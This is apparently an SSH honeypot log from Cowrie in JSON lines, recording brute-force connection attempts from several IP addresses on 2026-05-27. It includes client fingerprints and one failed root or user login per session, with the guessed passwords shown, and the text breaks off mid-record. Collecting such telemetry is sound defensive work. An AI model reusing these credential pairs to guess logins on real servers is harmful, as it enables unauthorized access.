{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":34900,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7f9c810553","protocol":"ssh","message":"New connection: 171.25.158.82:34900 (159.203.135.109:22) [session: aa7f9c810553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:11.522646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:11.531270Z","src_ip":"171.25.158.82","session":"aa7f9c810553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:11.640971Z","src_ip":"171.25.158.82","session":"aa7f9c810553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jy","password":"123456","message":"login attempt [jy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:12.126472Z","src_ip":"171.25.158.82","session":"aa7f9c810553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:13.241237Z","src_ip":"171.25.158.82","session":"aa7f9c810553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":35408,"dst_ip":"159.203.135.109","dst_port":22,"session":"73aa8457af6c","protocol":"ssh","message":"New connection: 103.13.206.227:35408 (159.203.135.109:22) [session: 73aa8457af6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:31.011862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:31.016745Z","src_ip":"103.13.206.227","session":"73aa8457af6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:31.249374Z","src_ip":"103.13.206.227","session":"73aa8457af6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"0000","message":"login attempt [dev/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:32.212011Z","src_ip":"103.13.206.227","session":"73aa8457af6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:33.448207Z","src_ip":"103.13.206.227","session":"73aa8457af6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40824,"dst_ip":"159.203.135.109","dst_port":22,"session":"d64f17c8d541","protocol":"ssh","message":"New connection: 103.149.28.157:40824 (159.203.135.109:22) [session: d64f17c8d541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:33.614030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:33.618968Z","src_ip":"103.149.28.157","session":"d64f17c8d541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:33.867500Z","src_ip":"103.149.28.157","session":"d64f17c8d541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7u8i9o0p","message":"login attempt [root/7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:34.610264Z","src_ip":"103.149.28.157","session":"d64f17c8d541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:35.861419Z","src_ip":"103.149.28.157","session":"d64f17c8d541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33680,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4f8f1e9673f","protocol":"ssh","message":"New connection: 46.19.67.181:33680 (159.203.135.109:22) [session: f4f8f1e9673f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:41.935027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:41.940328Z","src_ip":"46.19.67.181","session":"f4f8f1e9673f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:42.057322Z","src_ip":"46.19.67.181","session":"f4f8f1e9673f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfkmvf","message":"login attempt [root/gfkmvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:42.407272Z","src_ip":"46.19.67.181","session":"f4f8f1e9673f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:43.527515Z","src_ip":"46.19.67.181","session":"f4f8f1e9673f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46390,"dst_ip":"10.17.0.5","dst_port":22,"session":"814d9d8b9a80","protocol":"ssh","message":"New connection: 62.133.63.178:46390 (10.17.0.5:22) [session: 814d9d8b9a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:50.686974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:50.694880Z","src_ip":"62.133.63.178","session":"814d9d8b9a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:50.819743Z","src_ip":"62.133.63.178","session":"814d9d8b9a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"636322","message":"login attempt [root/636322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:51.201046Z","src_ip":"62.133.63.178","session":"814d9d8b9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:52.327801Z","src_ip":"62.133.63.178","session":"814d9d8b9a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44148,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe755aa27d8","protocol":"ssh","message":"New connection: 94.159.98.239:44148 (10.17.0.5:22) [session: bfe755aa27d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:54.950876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:54.988024Z","src_ip":"94.159.98.239","session":"bfe755aa27d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:55.105261Z","src_ip":"94.159.98.239","session":"bfe755aa27d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2004","message":"login attempt [root/anna2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:55.631541Z","src_ip":"94.159.98.239","session":"bfe755aa27d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:56.778553Z","src_ip":"94.159.98.239","session":"bfe755aa27d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44660,"dst_ip":"10.17.0.5","dst_port":22,"session":"391ae928dce4","protocol":"ssh","message":"New connection: 194.113.233.25:44660 (10.17.0.5:22) [session: 391ae928dce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:59.973484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:28:59.985096Z","src_ip":"194.113.233.25","session":"391ae928dce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:00.078671Z","src_ip":"194.113.233.25","session":"391ae928dce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15071991","message":"login attempt [root/15071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:00.362844Z","src_ip":"194.113.233.25","session":"391ae928dce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:01.459350Z","src_ip":"194.113.233.25","session":"391ae928dce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37880,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae51427d32ae","protocol":"ssh","message":"New connection: 103.173.227.57:37880 (159.203.135.109:22) [session: ae51427d32ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:43.263937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:43.269149Z","src_ip":"103.173.227.57","session":"ae51427d32ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:43.520997Z","src_ip":"103.173.227.57","session":"ae51427d32ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vagina","message":"login attempt [root/vagina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:44.274796Z","src_ip":"103.173.227.57","session":"ae51427d32ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:45.529934Z","src_ip":"103.173.227.57","session":"ae51427d32ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":50140,"dst_ip":"159.203.135.109","dst_port":22,"session":"325a90778ab8","protocol":"ssh","message":"New connection: 171.25.158.82:50140 (159.203.135.109:22) [session: 325a90778ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:52.343611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:29:52.416170Z","src_ip":"171.25.158.82","session":"325a90778ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecds